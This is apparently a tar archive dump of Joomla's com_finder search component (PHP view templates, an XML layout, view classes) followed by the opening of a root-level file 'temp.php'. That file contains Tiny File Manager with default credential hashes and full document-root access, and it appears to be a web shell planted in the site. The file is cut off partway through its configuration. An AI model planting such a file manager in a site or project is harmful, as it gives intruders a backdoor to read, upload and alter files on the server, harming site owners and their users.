=> true));

?>
<div class="finder<?php echo $this->pageclass_sfx;
?>">
	<?php if ($this->params->get('show_page_heading')) :
?>
		<h1>
			<?php if
($this->escape($this->params->get('page_heading'))) :
?>
				<?php echo
$this->escape($this->params->get('page_heading')); ?>
			<?php else : ?>
				<?php echo
$this->escape($this->params->get('page_title')); ?>
			<?php endif; ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('show_search_form', 1)) :
?>
		<div id="search-form">
			<?php echo $this->loadTemplate('form'); ?>
		</div>
	<?php endif; ?>
	<?php // Load the search results layout if we are performing a search.
?>
	<?php if ($this->query->search === true) : ?>
		<div id="search-results">
			<?php echo $this->loadTemplate('results'); ?>
		</div>
	<?php endif; ?>
</div>
views/search/tmpl/default.xml000064400000013442151167427760012314
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE">
		<help
			key = "JHELP_MENUS_MENU_ITEM_FINDER_SEARCH"
		/>
		<message>
			<![CDATA[COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT]]>
		</message>
	</layout>

	<fields name="request"
addfieldpath="/administrator/components/com_finder/models/fields">
		<fieldset name="request">
			<field
				name="q"
				type="text"
				label="COM_FINDER_SEARCH_SEARCH_QUERY_LABEL"
				description="COM_FINDER_SEARCH_SEARCH_QUERY_DESC"
				size="30"
			/>
			<field
				name="f"
				type="searchfilter"
				label="COM_FINDER_SEARCH_FILTER_SEARCH_LABEL"
				description="COM_FINDER_SEARCH_FILTER_SEARCH_DESC"
				default=""
			/>
		</fieldset>
	</fields>
	<fields name="params"
addfieldpath="/administrator/components/com_finder/models/fields">
		<fieldset name="basic">
			<field
				name="show_date_filters"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL"
				description="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_advanced"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL"
				description="COM_FINDER_CONFIG_SHOW_ADVANCED_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="expand_advanced"
				type="list"
				label="COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL"
				description="COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field type="spacer" />
			<field
				name="show_description"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL"
				description="COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="description_length"
				type="number"
				label="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL"
				description="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC"
				default=""
				size="5"
				useglobal="true"
			/>
			<field
				name="show_url"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_URL_LABEL"
				description="COM_FINDER_CONFIG_SHOW_URL_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field type="spacer" />
		</fieldset>
		<fieldset name="advanced">
			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>
			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="allow_empty_query"
				type="list"
				label="COM_FINDER_ALLOW_EMPTY_QUERY_LABEL"
				description="COM_FINDER_ALLOW_EMPTY_QUERY_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_suggested_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_LABEL"
				description="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_explained_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_LABEL"
				description="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="sort_order"
				type="list"
				label="COM_FINDER_CONFIG_SORT_ORDER_LABEL"
				description="COM_FINDER_CONFIG_SORT_ORDER_DESC"
				default=""
				useglobal="true"
				>
				<option
value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
				<option
value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
				<option
value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
			</field>
			<field
				name="sort_direction"
				type="list"
				label="COM_FINDER_CONFIG_SORT_DIRECTION_LABEL"
				description="COM_FINDER_CONFIG_SORT_DIRECTION_DESC"
				default=""
				useglobal="true"
				>
				<option
value="desc">COM_FINDER_CONFIG_SORT_OPTION_DESCENDING</option>
				<option
value="asc">COM_FINDER_CONFIG_SORT_OPTION_ASCENDING</option>
			</field>
		</fieldset>
		<fieldset name="integration">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
views/search/tmpl/default_form.php000064400000006745151167427760013336
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

if ($this->params->get('show_advanced', 1) ||
$this->params->get('show_autosuggest', 1))
{
	JHtml::_('jquery.framework');

	$script = "
jQuery(function() {";

	if ($this->params->get('show_advanced', 1))
	{
		/*
		* This segment of code disables select boxes that have no value when the
		* form is submitted so that the URL doesn't get blown up with null
values.
		*/
		$script .= "
	jQuery('#finder-search').on('submit', function(e){
		e.stopPropagation();
		// Disable select boxes with no value selected.
		jQuery('#advancedSearch').find('select').each(function(index,
el) {
			var el = jQuery(el);
			if(!el.val()){
				el.attr('disabled', 'disabled');
			}
		});
	});";
	}

	/*
	* This segment of code sets up the autocompleter.
	*/
	if ($this->params->get('show_autosuggest', 1))
	{
		JHtml::_('script', 'jui/jquery.autocomplete.min.js',
array('version' => 'auto', 'relative'
=> true));

		$script .= "
	var suggest = jQuery('#q').autocomplete({
		serviceUrl: '" .
JRoute::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')
. "',
		paramName: 'q',
		minChars: 1,
		maxHeight: 400,
		width: 300,
		zIndex: 9999,
		deferRequestBy: 500
	});";
	}

	$script .= "
});";

	JFactory::getDocument()->addScriptDeclaration($script);
}

?>
<form id="finder-search" action="<?php echo
JRoute::_($this->query->toUri()); ?>" method="get"
class="form-inline">
	<?php echo $this->getFields(); ?>
	<?php // DISABLED UNTIL WEIRD VALUES CAN BE TRACKED DOWN. ?>
	<?php if (false &&
$this->state->get('list.ordering') !==
'relevance_dsc') : ?>
		<input type="hidden" name="o" value="<?php
echo $this->escape($this->state->get('list.ordering'));
?>" />
	<?php endif; ?>
	<fieldset class="word">
		<label for="q">
			<?php echo JText::_('COM_FINDER_SEARCH_TERMS'); ?>
		</label>
		<input type="text" name="q" id="q"
size="30" value="<?php echo
$this->escape($this->query->input); ?>"
class="inputbox" />
		<?php if ($this->escape($this->query->input) != ''
|| $this->params->get('allow_empty_query')) : ?>
			<button name="Search" type="submit"
class="btn btn-primary">
				<span class="icon-search icon-white"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		<?php else : ?>
			<button name="Search" type="submit"
class="btn btn-primary disabled">
				<span class="icon-search icon-white"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		<?php endif; ?>
		<?php if ($this->params->get('show_advanced', 1)) :
?>
			<a href="#advancedSearch" data-toggle="collapse"
class="btn">
				<span class="icon-list"
aria-hidden="true"></span>
				<?php echo JText::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE');
?>
			</a>
		<?php endif; ?>
	</fieldset>
	<?php if ($this->params->get('show_advanced', 1)) :
?>
		<div id="advancedSearch" class="collapse<?php if
($this->params->get('expand_advanced', 0)) echo '
in'; ?>">
			<hr />
			<?php if ($this->params->get('show_advanced_tips',
1)) : ?>
				<div id="search-query-explained">
					<div class="advanced-search-tip">
						<?php echo JText::_('COM_FINDER_ADVANCED_TIPS'); ?>
					</div>
					<hr />
				</div>
			<?php endif; ?>
			<div id="finder-filter-window">
				<?php echo JHtml::_('filter.select', $this->query,
$this->params); ?>
			</div>
		</div>
	<?php endif; ?>
</form>
views/search/tmpl/default_result.php000064400000005004151167427760013674
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

// Get the mime type class.
$mime = !empty($this->result->mime) ? 'mime-' .
$this->result->mime : null;

$show_description = $this->params->get('show_description',
1);

if ($show_description)
{
	// Calculate number of characters to display around the result
	$term_length = StringHelper::strlen($this->query->input);
	$desc_length = $this->params->get('description_length',
255);
	$pad_length  = $term_length < $desc_length ? (int) floor(($desc_length
- $term_length) / 2) : 0;

	// Make sure we highlight term both in introtext and fulltext
	if (!empty($this->result->summary) &&
!empty($this->result->body))
	{
		$full_description =
FinderIndexerHelper::parse($this->result->summary .
$this->result->body);
	}
	else
	{
		$full_description = $this->result->description;
	}

	// Find the position of the search term
	$pos = $term_length ?
StringHelper::strpos(StringHelper::strtolower($full_description),
StringHelper::strtolower($this->query->input)) : false;

	// Find a potential start point
	$start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;

	// Find a space between $start and $pos, start right after it.
	$space = StringHelper::strpos($full_description, ' ', $start
> 0 ? $start - 1 : 0);
	$start = ($space && $space < $pos) ? $space + 1 : $start;

	$description = JHtml::_('string.truncate',
StringHelper::substr($full_description, $start), $desc_length, true);
}

$route = $this->result->route;

// Get the route with highlighting information.
if (!empty($this->query->highlight)
	&& empty($this->result->mime)
	&& $this->params->get('highlight_terms', 1)
	&& JPluginHelper::isEnabled('system',
'highlight'))
{
	$route .= '&highlight=' .
base64_encode(json_encode($this->query->highlight));
}

?>
<li>
	<h4 class="result-title <?php echo $mime; ?>">
		<a href="<?php echo JRoute::_($route); ?>">
			<?php echo $this->result->title; ?>
		</a>
	</h4>
	<?php if ($show_description && $description !== '') :
?>
		<p class="result-text<?php echo $this->pageclass_sfx;
?>">
			<?php echo $description; ?>
		</p>
	<?php endif; ?>
	<?php if ($this->params->get('show_url', 1)) : ?>
		<div class="small result-url<?php echo
$this->pageclass_sfx; ?>">
			<?php echo $this->baseUrl, JRoute::_($this->result->route);
?>
		</div>
	<?php endif; ?>
</li>
views/search/tmpl/default_results.php000064400000006300151167427760014057
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php // Display the suggested search if it is different from the
current search. ?>
<?php if (($this->suggested &&
$this->params->get('show_suggested_query', 1)) ||
($this->explained &&
$this->params->get('show_explained_query', 1))) : ?>
	<div id="search-query-explained">
		<?php // Display the suggested search query. ?>
		<?php if ($this->suggested &&
$this->params->get('show_suggested_query', 1)) : ?>
			<?php // Replace the base query string with the suggested query
string. ?>
			<?php $uri = JUri::getInstance($this->query->toUri()); ?>
			<?php $uri->setVar('q', $this->suggested); ?>
			<?php // Compile the suggested query link. ?>
			<?php $linkUrl = JRoute::_($uri->toString(array('path',
'query'))); ?>
			<?php $link = '<a href="' . $linkUrl .
'">' . $this->escape($this->suggested) .
'</a>'; ?>
			<?php echo JText::sprintf('COM_FINDER_SEARCH_SIMILAR',
$link); ?>
		<?php elseif ($this->explained &&
$this->params->get('show_explained_query', 1)) : ?>
			<?php // Display the explained search query. ?>
			<?php echo $this->explained; ?>
		<?php endif; ?>
	</div>
<?php endif; ?>
<?php // Display the 'no results' message and exit the
template. ?>
<?php if (($this->total === 0) || ($this->total === null)) : ?>
	<div id="search-result-empty">
		<h2><?php echo
JText::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING');
?></h2>
		<?php $multilang = JFactory::getApplication()->getLanguageFilter()
? '_MULTILANG' : ''; ?>
		<p><?php echo
JText::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang,
$this->escape($this->query->input)); ?></p>
	</div>
	<?php // Exit this template. ?>
	<?php return; ?>
<?php endif; ?>
<?php // Activate the highlighter if enabled. ?>
<?php if (!empty($this->query->highlight) &&
$this->params->get('highlight_terms', 1)) : ?>
	<?php JHtml::_('behavior.highlighter',
$this->query->highlight); ?>
<?php endif; ?>
<?php // Display a list of results ?>
<br id="highlighter-start" />
<ul class="search-results<?php echo $this->pageclass_sfx;
?> list-striped">
	<?php $this->baseUrl =
JUri::getInstance()->toString(array('scheme',
'host', 'port')); ?>
	<?php foreach ($this->results as $result) : ?>
		<?php $this->result = &$result; ?>
		<?php $layout = $this->getLayoutFile($this->result->layout);
?>
		<?php echo $this->loadTemplate($layout); ?>
	<?php endforeach; ?>
</ul>
<br id="highlighter-end" />
<?php // Display the pagination ?>
<div class="search-pagination">
	<div class="pagination">
		<?php echo $this->pagination->getPagesLinks(); ?>
	</div>
	<div class="search-pages-counter">
		<?php // Prepare the pagination string.  Results X - Y of Z ?>
		<?php $start = (int)
$this->pagination->get('limitstart') + 1; ?>
		<?php $total = (int) $this->pagination->get('total');
?>
		<?php $limit = (int) $this->pagination->get('limit') *
$this->pagination->get('pages.current'); ?>
		<?php $limit = (int) ($limit > $total ? $total : $limit); ?>
		<?php echo JText::sprintf('COM_FINDER_SEARCH_RESULTS_OF',
$start, $limit, $total); ?>
	</div>
</div>
views/search/view.feed.php000064400000005204151167427760011554
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Search feed view class for the Finder package.
 *
 * @since  2.5
 */
class FinderViewSearch extends JViewLegacy
{
	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  JError object on failure, void on success.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Get the application
		$app = JFactory::getApplication();

		// Adjust the list limit to the feed limit.
		$app->input->set('limit',
$app->get('feed_limit'));

		// Get view data.
		$state = $this->get('State');
		$params = $state->get('params');
		$query = $this->get('Query');
		$results = $this->get('Results');

		// Push out the query data.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		$explained = JHtml::_('query.explained', $query);

		// Set the document title.
		$title = $params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
		}

		$this->document->setTitle($title);

		// Configure the document description.
		if (!empty($explained))
		{
			$this->document->setDescription(html_entity_decode(strip_tags($explained),
ENT_QUOTES, 'UTF-8'));
		}

		// Set the document link.
		$this->document->link = JRoute::_($query->toUri());

		// If we don't have any results, we are done.
		if (empty($results))
		{
			return;
		}

		// Convert the results to feed entries.
		foreach ($results as $result)
		{
			// Convert the result to a feed entry.
			$item              = new JFeedItem;
			$item->title       = $result->title;
			$item->link        = JRoute::_($result->route);
			$item->description = $result->description;

			// Use Unix date to cope for non-english languages
			$item->date        = (int) $result->start_date ?
JHtml::_('date', $result->start_date, 'U') :
$result->indexdate;

			// Get the taxonomy data.
			$taxonomy = $result->getTaxonomy();

			// Add the category to the feed if available.
			if (isset($taxonomy['Category']))
			{
				$node           = array_pop($taxonomy['Category']);
				$item->category = $node->title;
			}

			// Loads item info into RSS array
			$this->document->addItem($item);
		}
	}
}
views/search/view.html.php000064400000017077151167427760011630
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\SearchHelper;

/**
 * Search HTML view class for the Finder package.
 *
 * @since  2.5
 */
class FinderViewSearch extends JViewLegacy
{
	/**
	 * The query object
	 *
	 * @var  FinderIndexerQuery
	 */
	protected $query;

	/**
	 * The application parameters
	 *
	 * @var  Registry  The parameters object
	 */
	protected $params;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	protected $user;

	/**
	 * An array of results
	 *
	 * @var    array
	 *
	 * @since  3.8.0
	 */
	protected $results;

	/**
	 * The total number of items
	 *
	 * @var    integer
	 *
	 * @since  3.8.0
	 */
	protected $total;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 *
	 * @since  3.8.0
	 */
	protected $pagination;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  JError object on failure, void on success.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		$app    = JFactory::getApplication();
		$params = $app->getParams();

		// Get view data.
		$state = $this->get('State');
		$query = $this->get('Query');
		JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderQuery')
: null;
		$results = $this->get('Results');
		JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderResults')
: null;
		$total = $this->get('Total');
		JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderTotal')
: null;
		$pagination = $this->get('Pagination');
		JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderPagination')
: null;

		// Flag indicates to not add limitstart=0 to URL
		$pagination->hideEmptyLimitstart = true;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		// Configure the pathway.
		if (!empty($query->input))
		{
			$app->getPathway()->addItem($this->escape($query->input));
		}

		// Push out the view data.
		$this->state      = &$state;
		$this->params     = &$params;
		$this->query      = &$query;
		$this->results    = &$results;
		$this->total      = &$total;
		$this->pagination = &$pagination;

		// Check for a double quote in the query string.
		if (strpos($this->query->input, '"'))
		{
			// Get the application router.
			$router = &$app::getRouter();

			// Fix the q variable in the URL.
			if ($router->getVar('q') !== $this->query->input)
			{
				$router->setVar('q', $this->query->input);
			}
		}

		// Log the search
		SearchHelper::logSearch($this->query->input,
'com_finder');

		// Push out the query data.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		$this->suggested = JHtml::_('query.suggested', $query);
		$this->explained = JHtml::_('query.explained', $query);

		// Escape strings for HTML output
		$this->pageclass_sfx =
htmlspecialchars($params->get('pageclass_sfx'));

		// Check for layout override only if this is not the active menu item
		// If it is the active menu item, then the view and category id will
match
		$active = $app->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			// We need to set the layout in case this is an alternative menu item
(with an alternative layout)
			$this->setLayout($active->query['layout']);
		}

		$this->prepareDocument($query);

		JDEBUG ?
JProfiler::getInstance('Application')->mark('beforeFinderLayout')
: null;

		parent::display($tpl);

		JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderLayout')
: null;
	}

	/**
	 * Method to get hidden input fields for a get form so that control
variables
	 * are not lost upon form submission
	 *
	 * @return  string  A string of hidden input form fields
	 *
	 * @since   2.5
	 */
	protected function getFields()
	{
		$fields = null;

		// Get the URI.
		$uri = JUri::getInstance(JRoute::_($this->query->toUri()));
		$uri->delVar('q');
		$uri->delVar('o');
		$uri->delVar('t');
		$uri->delVar('d1');
		$uri->delVar('d2');
		$uri->delVar('w1');
		$uri->delVar('w2');
		$elements = $uri->getQuery(true);

		// Create hidden input elements for each part of the URI.
		foreach ($elements as $n => $v)
		{
			if (is_scalar($v))
			{
				$fields .= '<input type="hidden" name="' .
$n . '" value="' . $v . '" />';
			}
		}

		return $fields;
	}

	/**
	 * Method to get the layout file for a search result object.
	 *
	 * @param   string  $layout  The layout file to check. [optional]
	 *
	 * @return  string  The layout file to use.
	 *
	 * @since   2.5
	 */
	protected function getLayoutFile($layout = null)
	{
		// Create and sanitize the file name.
		$file = $this->_layout . '_' .
preg_replace('/[^A-Z0-9_\.-]/i', '', $layout);

		// Check if the file exists.
		jimport('joomla.filesystem.path');
		$filetofind = $this->_createFileName('template',
array('name' => $file));
		$exists     = JPath::find($this->_path['template'],
$filetofind);

		return ($exists ? $layout : 'result');
	}

	/**
	 * Prepares the document
	 *
	 * @param   FinderIndexerQuery  $query  The search query
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function prepareDocument($query)
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading',
JText::_('COM_FINDER_DEFAULT_PAGE_TITLE'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($layout = $this->params->get('article_layout'))
		{
			$this->setLayout($layout);
		}

		// Configure the document meta-description.
		if (!empty($this->explained))
		{
			$explained =
$this->escape(html_entity_decode(strip_tags($this->explained),
ENT_QUOTES, 'UTF-8'));
			$this->document->setDescription($explained);
		}
		elseif ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		// Configure the document meta-keywords.
		if (!empty($query->highlight))
		{
			$this->document->setMetaData('keywords', implode(',
', $query->highlight));
		}
		elseif ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots',
$this->params->get('robots'));
		}

		// Add feed link to the document head.
		if ($this->params->get('show_feed_link', 1) == 1)
		{
			// Add the RSS link.
			$props = array('type' => 'application/rss+xml',
'title' => 'RSS 2.0');
			$route = JRoute::_($this->query->toUri() .
'&format=feed&type=rss');
			$this->document->addHeadLink($route, 'alternate',
'rel', $props);

			// Add the ATOM link.
			$props = array('type' => 'application/atom+xml',
'title' => 'Atom 1.0');
			$route = JRoute::_($this->query->toUri() .
'&format=feed&type=atom');
			$this->document->addHeadLink($route, 'alternate',
'rel', $props);
		}
	}
}
views/search/view.opensearch.php000064400000002532151167427760013001
0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * OpenSearch View class for Finder
 *
 * @since  2.5
 */
class FinderViewSearch extends JViewLegacy
{
	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  JError object on failure, void on success.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		$doc = JFactory::getDocument();
		$app = JFactory::getApplication();

		$params = JComponentHelper::getParams('com_finder');
		$doc->setShortName($params->get('opensearch_name',
$app->get('sitename')));
		$doc->setDescription($params->get('opensearch_description',
$app->get('MetaDesc')));

		// Add the URL for the search
		$searchUri = JUri::base() .
'index.php?option=com_finder&q={searchTerms}';

		// Find the menu item for the search
		$menu  = $app->getMenu();
		$items = $menu->getItems('link',
'index.php?option=com_finder&view=search');

		if (isset($items[0]))
		{
			$searchUri .= '&Itemid=' . $items[0]->id;
		}

		$htmlSearch           = new JOpenSearchUrl;
		$htmlSearch->template = JRoute::_($searchUri);
		$doc->addUrl($htmlSearch);
	}
}
temp.php000064400000610664151167427760006257 0ustar00<?php
//Default Configuration
$CONFIG =
'{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}';

/**
 * H3K | Tiny File Manager V2.5.3
 * @author CCP Programmers
 * @github https://github.com/prasathmani/tinyfilemanager
 * @link https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.5.3');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password',
'Username2' => 'Password2', ...)
// Generate secure password hash -
https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' =>
'$2y$10$LnLofigqN5g6zMQWuKdZXuyGbwO5ZIRL0aaN8UIRcJTTO2QXaR9tO',
    'user' =>
'$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO'
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path',
'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or
$_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants:
'', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path
based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder',
'*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Available rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
